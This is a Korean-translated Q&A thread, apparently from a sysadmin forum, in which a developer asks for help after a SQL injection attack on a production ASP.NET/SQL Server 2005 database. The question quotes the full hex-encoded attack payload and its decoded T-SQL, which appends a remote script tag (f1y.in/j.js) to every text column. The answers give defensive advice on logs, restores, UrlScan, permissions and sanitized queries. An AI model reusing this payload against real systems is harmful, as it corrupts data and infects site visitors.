돕다! 프로덕션 DB에 SQL이 삽입되었습니다!

돕다! 프로덕션 DB에 SQL이 삽입되었습니다!

가능한 중복:
내 서버가 해킹당했습니다. 긴급 상황

이런, 나 필사적이야! 몇 시간 전에 프로덕션 DB에 SQL이 주입되었습니다.

나는 우리 시스템에 몇 가지 큰 구멍이 있다는 것을 알고 있습니다... 우리는 전통적인 ASP에서 웹사이트를 만든 사람으로부터 웹사이트를 물려받았기 때문에 그의 프로그래밍은 정말 끔찍하고 안전하지 않았습니다. 그래서 우리는 이를 ASP.NET(처음에는 1.1, 다음에는 2.0, 이제는 3.5)으로 마이그레이션하는 데 시간을 보냈습니다. 하지만 규모가 큰 프로젝트이고, 여전히 오래되고 안전하지 않은 코드가 남아 있습니다. 거짓말 안 할게요. 프로젝트가 엉망이고 싫지만 그게 우리의 가장 중요한 고객입니다(우리는 대기업이 아니라 젊은 남자 2명일 뿐입니다).

그래서 나는 그들이 어떻게 든 내 전체 DB에 일부 js 스크립트 참조를 주입했다는 것을 알고 있습니다.... 아마도 연결된 문자열 SQL 쿼리를 사용하고 DB에 직접 던진 오래된 페이지를 통해서였을 것입니다. 왜냐하면 프로젝트를 시작하는 사람이 "저장 프로시저가 '작동하지 않습니다"..... 그래서 그는 문자열 연결을 사용하여 전체 사이트를 수행하고 안전 확인이나 기타 작업을 수행하지 않고 SQL에 직접 던졌습니다.

우리가 프로젝트를 맡았을 때 고객은 그 노인이 했던 일을 다시 하는 데 시간을 낭비하고 싶어하지 않았습니다. 그래서 우리는 형편없고 안전하지 않은 코드를 만들고 새로운 기능을 개발하는 동안 그것을 고쳐야 했습니다. 그것이 클라이언트가 원하는 것이기 때문입니다... 그리고 이제 우리가 SQL 주입을 받았으니 당연히 그들은 미쳐버릴 것입니다.

그래서....

**지난 X시간 동안 실행된 오래된 SQL 쿼리를 확인할 수 있는 방법이 있나요? SQL 프로파일러가 수행하는 방식과 유사합니다(물론 공격이 발생했을 때 프로파일러가 열려 있지 않았음)? 어떤 페이지가 취약한 페이지인지 알아낼 수 있는 방법이 있나요? 도와주세요. 페이지가 너무 많아요. 어떤 페이지가 페이지인지 확실하지 않으면 수동으로 검색할 수 없습니다.

그리고... DB를 주입할 수 있는 다른 방법이 있을까요? IIS 요청이나 js 등을 사용하는 것과 같은가요?**

서버 시스템에 대한 전체 원격 데스크탑 액세스 권한이 있으므로(호스팅 환경이 아님) 서버에 있는 모든 파일, 로그 등에 액세스할 수 있습니다.

도와주세요!

추신: 죄송합니다. 제 영어 실력은 그다지 좋지 않고, 지금은 긴장해서 더 나빠졌습니다!

편집하다

  • 윈도우 2003 서버
  • SQL 서버 2005
  • ASP.NET 3.5

그들이 던지는 스크립트는 다음과 같습니다

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

텍스트로 번역하면 다음과 같습니다.

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

답변1

가장 먼저 해야 할 일은 당황하지 않는 것입니다. 하지만 당신은 그것을 건너뛰고 다음으로 결정했습니다.

두 번째는 사이트를 폐쇄하고 무엇이 손상되었는지 파악할 때까지 외부에서 액세스할 수 없도록 하는 것입니다. 액세스 로그를 살펴보고 주요 문제가 무엇인지 찾아보세요.

세 번째로 해야 할 일은 정기적으로 DB를 백업하고 롤백을 수행하는지 확인하는 것입니다. 일부 데이터가 손실될 수 있지만 지금보다 더 나은 위치에 있게 될 것입니다.

네 번째로 해야 할 일은 - 하지 마세요 - 분명히 안전하지 않기 때문에 URL을 제공하는 것입니다.

답변2

UrlScan의 최신 버전을 반드시 설치하십시오. 이는 이러한 종류의 공격을 막아내도록 설계되었습니다.

IIS 로그가 있는 경우 진입점은 매우 명확해야 합니다. 즉, 해커가 망치고 있는 항목을 찾으십시오.

가능하다면 또 다른 좋은 백스톱은 웹 사용자 계정에 대한 INSERT 및 UPDATE 권한을 거부하고 대신 저장 프로시저를 통해 이를 펀치하는 것입니다. 이러한 종류의 백스톱 덕분에 제로데이 공격이 발생했을 때 유사한 레거시 앱에서 비슷한 문제가 발생하는 것을 방지할 수 있었습니다.

또한 PUBLIC 사용자의 테이블 스캔 권한을 제거하여 "foreach 테이블" 스타일 공격을 방지할 수 있다고 생각합니다.

답변3

참고로 이는 ASPRox 봇 SQL 주입 공격의 작업입니다. 손상된 시스템이 발견되면 꽤 입소문이 나기 때문에 때때로 스스로 표면화되는 것 같습니다. "ASPROx 봇"을 검색하여 추가 클렌징 방법과 추가 예방 치료법을 얻을 수 있습니다. 방금 찾았어요이 PDF전술에 대한 좋은 개요와 일부 정리 옵션에 대한 링크가 있는 파일입니다.

문제는 바이러스/주입 모델이 본질적으로 모든 데이터베이스 테이블의 모든 단일 텍스트 필드를 가져와 다른 웹 클라이언트를 감염시키고 사이트를 방문하는 좀비로 만들기 위해 지정된 URL을 호출하는 작은 조각을 삽입한다는 것입니다. .

따라서 적절한 정리를 수행하려면 관련 데이터베이스가 있는 데이터베이스뿐만 아니라 해당 서버의 모든 데이터베이스를 확인하십시오.

여기에 제시된 제안 사항이 올바른 길을 가고 있는 것으로 보이지만 바이러스 이름에 대한 "공식적인" 참조가 있으면 추가 요구 사항에 도움이 될 수 있습니다.

답변4

IIS 로그를 확인하여 삽입에 사용한 페이지를 알아보세요. 말할 필요도 없이 해당 페이지를 신속하게 수정하거나 비활성화해야 합니다.

가장 좋은 접근 방식은 사이트 유형에 따라 다릅니다. 가능하다면,사이트를 내려라오염되지 않은 데이터베이스를 복원하거나 변경 사항을 되돌릴 때까지(자세한 로그 필요) 그런 다음 문제를 해결할 시간이 있을 때까지 사이트를 읽기 전용 모드로 백업할 수 있습니다. SQL 계정을 SELECT로만 제한하세요.

쿼리 문자열을 연결하는 경우에도 약간의 노력만으로 상당히 안전할 수 있습니다. SELECT 및 UPDATE와 같은 키워드에 대해 모든 ASP 파일을 검색하면 모든 쿼리가 표시됩니다. 시작하려면 기본 온전성 검사로 모든 ​​매개변수를 둘러싸세요.

아마 바쁘실 테니 몇 가지를 살펴보세요.정말내 오래된 ASP VBScript 코드입니다. 안전한 SQL 문을 작성하는 데 도움이 되는 SafeSqlWhatever 함수가 많이 있습니다. 어떠한 보증도 없으며 공개할 의도가 전혀 없습니다. 그러나 모든 변수 입력을SqlVar(일부값)함수를 시작하면 됩니다. SqlVar가 쿼리 문자열을 추가하므로 나머지 쿼리 문자열에서 작은따옴표를 제거해야 합니다. 또는 원하는 값 유형과 관련된 함수를 사용하세요.

전에:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

후에:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

추신: 아니요, 이렇게 되어서는 안 되지만,아마지금 있는 곳에서 작업 순서를 다시 원래대로 되돌리는 가장 빠른 방법입니다.

관련 정보